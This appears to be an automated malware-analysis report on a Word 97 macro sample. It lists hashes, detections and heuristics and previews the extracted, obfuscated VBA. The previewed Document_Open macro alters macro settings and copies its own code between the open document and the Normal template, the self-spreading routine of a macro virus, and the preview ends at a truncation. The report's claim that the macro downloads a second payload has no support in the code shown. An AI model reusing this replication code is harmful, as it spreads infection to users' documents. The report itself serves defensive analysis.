W97M — Office (OLE) malware analysis

Static analysis result for SHA-256 d8e9d208ba3ae755…

MALICIOUS

Office (OLE)

55.0 KB Created: 2001-01-02 13:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3920467273c41605e521bd419ebfae7c SHA-1: bb6366760f479afc50487d2af6d147d978391d95 SHA-256: d8e9d208ba3ae7554439caa87010d27beea97796f68d118db766987190e8cc00
120 Risk Score

Malware Insights

W97M · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Win.Trojan.W97M-8. Static analysis detected the presence of VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon document opening. The VBA script is heavily obfuscated, but its presence and the Document_Open trigger strongly suggest it is designed to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Win.Trojan.W97M-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85374 bytes
SHA-256: 5b9d93a814451ab4a2ba985fc21abc16a9e394cb3b3dc9d31d237313b3808bed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
ľĎÍ‹¸†şšä Ž´ĐĂçۇ¬Ăâć» = "©ęčÚŁŔŔ˛"
±ŽÔŠ×ÄŚ = "ÔńÁΓ”ĄÚÇÁ"
ׂ´®ĆśĘŤÚčęÔ = "�Ť«đŁŻé"
ąđ”ŚÁę»˝’—’”�Ş˛ĺ�ÜŇď’ÜŘŠĚ“ŚáĚŃ÷ÂíŁŐđŢŕʱ‡ë = "§ĎŮ‹ëĹŢ«ą¸č˝»őáłćŢ"
ŢNJDZőë‡Ű𮛸Âę°•čÜĄöË„±›ň߸µîᗤǣ = "¤ç˝„‹‰â—żÚ"
ÚÉÚą‡ß„ş¦�ť˝ŇôąŐŰ�‘ = "ń÷ě®çŔŕßĺ·ť÷Řé­ČĂĆö”"
äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬‰Ę�’Č‹łÜ˘ś”ŚŻ…�í = "Ů”«őŻśů"
ŻúđŤŕňµ‰«ôéˡČ÷ÝĎě¤ĎęČżˇŞşäĆ = "Ś"
ŹÄ©¨ÄĆł•˘Î뵟‡™ůŃĹŃÔŠść奝¸�ô±¦«Śť„ = "µŘŕßĵ�˛–ěÁ"
Óí•ŻćËřľŻŘČźź†ľ†ŐŚ§Ô¨ˇŁ�ĐĽî–™Ŕ÷ĺđ«ššń = "ĽăĂíÉĘŤ´ă¤ôó"
öř¨¨ő = "ň"
�Ţθ°Č¸î¶˛´·ë = "«ę§íżµĘä«ŔÇďĂ•·Čö˘ň"
ßťŻŇÉÍô‡Ő ČďŕŽŮ–̜ŘŢĂžęô‰ńÔ«â­ = "˛žĚ"
··¨ű¦Ú›Ŕ®†ŕŐÍ•Ą÷ĽÂÁÜʨ̣Á–í¸ö…˛źŁ¦Ň˛§µ = "šËçÍöˇ• ¸"
…Шš§Éžö´ˇď�Ŕ·›ˇÚäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬â“•úÇąÔŕĄŢ÷ö±Č = "¸íľŞÄ"
öř¨¨Č‚±¦§ŚÎú÷Íś�Ő»Ž« = "Ďß…ÚŹăĹä쏯¸"
Č­úôŞňÎú¸Ŕ‹Ţ�Ę™»×»ěéɸ Ö”úů™›ćóŞŠĽ©ŇըЄóŕŚ”ś‰čőáÔ™§±¸ = "Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�˝äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬…ńµťÖÖ"
¦‚ŠÁęɦµŮ­ż ň¤çÁÚ†żčňÇ’‚Žë„Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�„Ô݉™ŻŐč´ÓÖ±¤ = "ŕßÓכ˝±„„“�Ę�"
¬¶�ʶ“‘»ŁđÂƤ”Ě‹ČŕŽ›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´ÜŤˇ¤ľšÉˇä̛Ŧ˭é = "”뎱”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ŽĹň"
Çôű«ĺÔšĹÇÉěŔĽˇĂË´ŤŔšźŞČŘŽäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬˝Úá°”ľŰšŽŢĹ”ĎÁĹť = "íéćůĘ›Ŕ‘„Ů»žă"
Ş”ßҝ˨Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�áŃźúť䉵鹇‡‹ľÁ‡˝ĽÚ‚¦ = "˛ŹŃ˛‚–ܡ츔˝ĎÓ¶Ž"
Đ­äÇŻľďžŹ…Ó”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�‡ŁĄ�Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�Ő×˝¸ĘŽďäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬ = "ŹşŮŞ"
ß‹ČäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´ÜĎŠřô†ĚźˇľąůŠŽ±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�™Ýŕ–ßÝ�Ó‰Ýç„…ě˝ŕë = "»ď��äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬Ëđ©�ŹŻ§ŹŁÔ"
’čĐ“†ůŕĆŹ’›…„§ŻäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬»˝éş = "ˇ›ę­´Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ąó‹™×ď˛đ�"
ÇéŰęÝô¨í‚¸ô‡ËĆčçąŮťęŰŽ±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�Ň쵚„Ţ = "�އᱥŞ"
�Űׂ´®Ćö˝˝öů–›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´ÜĽÚěÜčČéµůĚŰ–ň”Ä = "§›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü“ö•éצµľ„§äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬ë"
�Űׂ´®Ćö˝˝öů–›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´ÜĽÚěÜčČéµ×‚´®ĆÚôׂ´®Ćި踖жňŮ = "¦ÜßçĹŔĎ‘Żť¨Ë�"
Ýĺ ›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Üę«öř¨¨Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ŞĘŽ±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ş¬Ş×‚´®Ć‚ëظžµŮ˘ÉŠ¬Ŕ‡Î©÷Ű’Čš×őř«Ú¤±•÷Ż…ŚĚŽĺ›¨ = "Źé´¶ŽÂ™źâⵞ§äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬†ž†ĘŚ‘±ŕ�°ęžâŢ߸â–âă’ęđĄáĺ¨Ý“çáń™ńÄßŔ˝…ąŽ±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ęćơŰ"
�Űׂ´®Ćö˝˝öů–›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´ÜĽÚěÜčČéµĆ¨ĺڥׂ´®Ć˘Ôş›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Üď  = "´�ĶźÂő§ö˘ďç"
Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� = ActiveDocument.VBProject.VBComponents(1).CodeModule.countoflines
§Ô†ń…ÖŚôŮ = NormalTemplate.VBProject.VBComponents(1).CodeModule.countoflines
Application.Options.VirusProtection = True
WordBasic.DisableAutoMacros 1
Options.SaveNormalPrompt = True
If Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� > 169 And §Ô†ń…ÖŚôŮ > 169 Then Exit Sub
If §Ô†ń…ÖŚôŮ > 169 Then
Set Š¬Ŕ‡Î©÷Ű’Čš×őř«Ú¤±•÷Ż…ŚĚŽĺ› = ActiveDocument
Set ±÷żřĘŔźř路Ą�ŕ = NormalTemplate
GoTo •öř¨¨Ę¨Ä ÖĚÓŮŁˇµ�­ÁŔŇ駒렱ĺ
End If
If §Ô†ń…ÖŚôŮ < 170 Then
Set Š¬Ŕ‡Î©÷Ű’Čš×őř«Ú¤±•÷Ż…ŚĚŽĺ› = NormalTemplate
Set ±÷żřĘŔźř路Ą�ŕ = ActiveDocument
End If
ReDim Öׂ´®Ć¦šŽ±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�ľĆëÝćł�ł–¦¶“đĄĹĹéß­(50, 50)
›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü = ±÷żřĘŔźř路Ą�ŕ.VBProject.VBComponents(1).CodeModule.countoflines
Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� = 0
Do Until Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� = ›˛¸äźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬áóČß…°‡›©‹ňÎĦÄÜ´Ü
Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� = Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬� + 1
Đ­äÇŻľďžŹ…Óîׂ´®Ć‡ŁĄ�Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶ÉđČ”ľĐ†˛˝é´éżĆÄ–¬�Ő×˝¸ = ±÷żřĘŔźř路Ą�ŕ.VBProject.VBComponents(1).CodeModule.Lines(Ž±”ëŮČžÓľĘäźÄ˝ä”Ł¶É
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.